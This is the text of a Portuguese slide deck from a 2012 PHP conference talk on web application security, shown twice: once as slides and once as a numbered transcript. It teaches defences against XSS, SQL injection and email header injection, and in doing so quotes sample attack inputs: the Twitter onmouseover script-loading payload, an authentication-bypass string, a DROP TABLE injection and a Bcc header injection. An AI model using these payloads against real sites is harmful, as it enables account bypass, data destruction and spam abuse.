Segurança em aplicações PHP
       Rodrigo dos Santos
        rodrigodossantos.ws
             @rosantoz
Sobre mim
➔   Desenvolvedor PHP desde 2004

➔   Zend Certified Engineer PHP 5.3

➔   Zend Framework Certified

➔   Pós Graduado em Engenharia de Projetos de Software

➔   Sócio-Proprietário na Ilha Web (www.ilhaweb.net)



    PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
O que iremos abordar?

➔   Como acontecem os principais ataques a aplicações PHP;




     PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
O que iremos abordar?

➔   Como acontecem os principais ataques a aplicações PHP;


➔   Como se previnir;




     PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
O que iremos abordar?

➔   Como acontecem os principais ataques a aplicações PHP;


➔   Como se previnir;



➔   Ferramentas de diagnóstico (e de ataque);




     PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
3 Regras Básicas de Segurança




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
3 Regras Básicas de Segurança


1) Filtre e valide os dados de entrada;




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
3 Regras Básicas de Segurança


1) Filtre e valide os dados de entrada;

2) Escape os dados de saída;




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
3 Regras Básicas de Segurança


1) Filtre e valide os dados de entrada;

2) Escape os dados de saída;

3) Nunca confie em seus usuários;



 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
XSS – Cross-Site Scripting




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
XSS – Cross-Site Scripting



  Injeção de código HTML, CSS ou
      Javascript em uma página.




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
XSS – Cross-Site Scripting
O javascript representa a maior ameaça por possibilitar:


1) Redirecionar o usuário para outra página;

2) Modificar a página;

3) Ler os cookies.




    PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
XSS – Cross-Site Scripting
Mas como acontece?




  PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
XSS – Cross-Site Scripting
Mas como acontece?




  PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
XSS – Cross-Site Scripting
 Twitter Hack




http://edition.cnn.com/2010/TECH/social.media/09/21/twitter.security.flaw/index.html

     PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
XSS – Cross-Site Scripting
Twitter Hack




 http://t.co/@"style="font-
 size:999999999999px;"onmouseover="$.getScript
 ('http:u002fu002fis.gdu002ffl9A7')"/




  PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
XSS – Cross-Site Scripting
Como evitar?


 ➔   htmlspecialchars()

 ➔   htmlentities()

 ➔   strip_tags()

 ➔   Whitelist




     PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
XSS – Cross-Site Scripting
Ferramenta de diagnóstico:




  PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection



   Injeção de uma instrução SQL
  através de parâmetros recebidos
        pela por um sistema.




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection
Mas como acontece?




  PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection
Mas como acontece?




  PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection
Mas como acontece?




usuário: qualquer
senha: ' OR ''='




   PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection
Mas como acontece?




usuário: qualquer
senha: ' OR ''='




   PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection
Mas como acontece?




usuário: qualquer'; DROP TABLE usuarios ; --
senha: '1234'




   PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection
Mas como acontece?




usuário: qualquer'; DROP TABLE usuarios ; --
senha: '1234'




   PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection
Como evitar?


 ➔   mysql_real_escape_string()

 ➔   Prepared Statement




     PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection
SQL Injection no mundo real




  PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
SQL Injection
Ferramenta de diagnóstico:




  PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Email Injection
Como acontece:




  PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Email Injection
Como acontece:




Campo nome:

José da Silva <josedasilva@provedor.com>nBcc <email2@provedor.com>,
<email3@provedor.com>, <email4@provedor.com>




    PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Email Injection
Como evitar:


 ➔   Valide o email do usário;

 ➔   Não use mail() para enviar email;




     PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Ferramentas de Diagnóstico




                             XSS Me
               https://addons.mozilla.org/en-US/firefox/addon/xss-me/




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Ferramentas de Diagnóstico




                       SQL Inject Me
           https://addons.mozilla.org/en-US/firefox/addon/sql-inject-me




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Ferramentas de Diagnóstico




                       Skipfish
           http://code.google.com/p/skipfish/downloads/list




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Ferramentas de Diagnóstico




               Acunetix (free edition)
           http://www.acunetix.com/cross-site-scripting/scanner.htm




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Ferramentas de Diagnóstico




                                ZAP
                        code.google.com/p/zaproxy/




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Recomendação




                            OWASP
                          https://www.owasp.org




 PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Perguntas?




PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
Obrigado
                              @rosantoz
                      falecom@rodrigodossantos.ws




PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012

Segurança em aplicações php

  • 1.
    Segurança em aplicaçõesPHP Rodrigo dos Santos rodrigodossantos.ws @rosantoz
  • 2.
    Sobre mim ➔ Desenvolvedor PHP desde 2004 ➔ Zend Certified Engineer PHP 5.3 ➔ Zend Framework Certified ➔ Pós Graduado em Engenharia de Projetos de Software ➔ Sócio-Proprietário na Ilha Web (www.ilhaweb.net) PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 3.
    O que iremosabordar? ➔ Como acontecem os principais ataques a aplicações PHP; PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 4.
    O que iremosabordar? ➔ Como acontecem os principais ataques a aplicações PHP; ➔ Como se previnir; PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 5.
    O que iremosabordar? ➔ Como acontecem os principais ataques a aplicações PHP; ➔ Como se previnir; ➔ Ferramentas de diagnóstico (e de ataque); PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 6.
    3 Regras Básicasde Segurança PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 7.
    3 Regras Básicasde Segurança 1) Filtre e valide os dados de entrada; PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 8.
    3 Regras Básicasde Segurança 1) Filtre e valide os dados de entrada; 2) Escape os dados de saída; PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 9.
    3 Regras Básicasde Segurança 1) Filtre e valide os dados de entrada; 2) Escape os dados de saída; 3) Nunca confie em seus usuários; PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 10.
    XSS – Cross-SiteScripting PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 11.
    XSS – Cross-SiteScripting Injeção de código HTML, CSS ou Javascript em uma página. PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 12.
    XSS – Cross-SiteScripting O javascript representa a maior ameaça por possibilitar: 1) Redirecionar o usuário para outra página; 2) Modificar a página; 3) Ler os cookies. PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 13.
    XSS – Cross-SiteScripting Mas como acontece? PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 14.
    XSS – Cross-SiteScripting Mas como acontece? PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 15.
    XSS – Cross-SiteScripting Twitter Hack http://edition.cnn.com/2010/TECH/social.media/09/21/twitter.security.flaw/index.html PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 16.
    XSS – Cross-SiteScripting Twitter Hack http://t.co/@"style="font- size:999999999999px;"onmouseover="$.getScript ('http:u002fu002fis.gdu002ffl9A7')"/ PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 17.
    XSS – Cross-SiteScripting Como evitar? ➔ htmlspecialchars() ➔ htmlentities() ➔ strip_tags() ➔ Whitelist PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 18.
    XSS – Cross-SiteScripting Ferramenta de diagnóstico: PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 19.
    SQL Injection PHPSCConference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 20.
    SQL Injection Injeção de uma instrução SQL através de parâmetros recebidos pela por um sistema. PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 21.
    SQL Injection PHPSCConference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 22.
    SQL Injection Mas comoacontece? PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 23.
    SQL Injection Mas comoacontece? PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 24.
    SQL Injection Mas comoacontece? usuário: qualquer senha: ' OR ''=' PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 25.
    SQL Injection Mas comoacontece? usuário: qualquer senha: ' OR ''=' PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 26.
    SQL Injection Mas comoacontece? usuário: qualquer'; DROP TABLE usuarios ; -- senha: '1234' PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 27.
    SQL Injection Mas comoacontece? usuário: qualquer'; DROP TABLE usuarios ; -- senha: '1234' PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 28.
    SQL Injection Como evitar? ➔ mysql_real_escape_string() ➔ Prepared Statement PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 29.
    SQL Injection SQL Injectionno mundo real PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 30.
    SQL Injection Ferramenta dediagnóstico: PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 31.
    Email Injection Como acontece: PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 32.
    Email Injection Como acontece: Camponome: José da Silva <josedasilva@provedor.com>nBcc <email2@provedor.com>, <email3@provedor.com>, <email4@provedor.com> PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 33.
    Email Injection Como evitar: ➔ Valide o email do usário; ➔ Não use mail() para enviar email; PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 34.
    Ferramentas de Diagnóstico XSS Me https://addons.mozilla.org/en-US/firefox/addon/xss-me/ PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 35.
    Ferramentas de Diagnóstico SQL Inject Me https://addons.mozilla.org/en-US/firefox/addon/sql-inject-me PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 36.
    Ferramentas de Diagnóstico Skipfish http://code.google.com/p/skipfish/downloads/list PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 37.
    Ferramentas de Diagnóstico Acunetix (free edition) http://www.acunetix.com/cross-site-scripting/scanner.htm PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 38.
    Ferramentas de Diagnóstico ZAP code.google.com/p/zaproxy/ PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 39.
    Recomendação OWASP https://www.owasp.org PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 40.
    Perguntas? PHPSC Conference 2012– Segurança em aplicações PHP - @rosantoz – 27/10/2012
  • 41.
    Obrigado @rosantoz falecom@rodrigodossantos.ws PHPSC Conference 2012 – Segurança em aplicações PHP - @rosantoz – 27/10/2012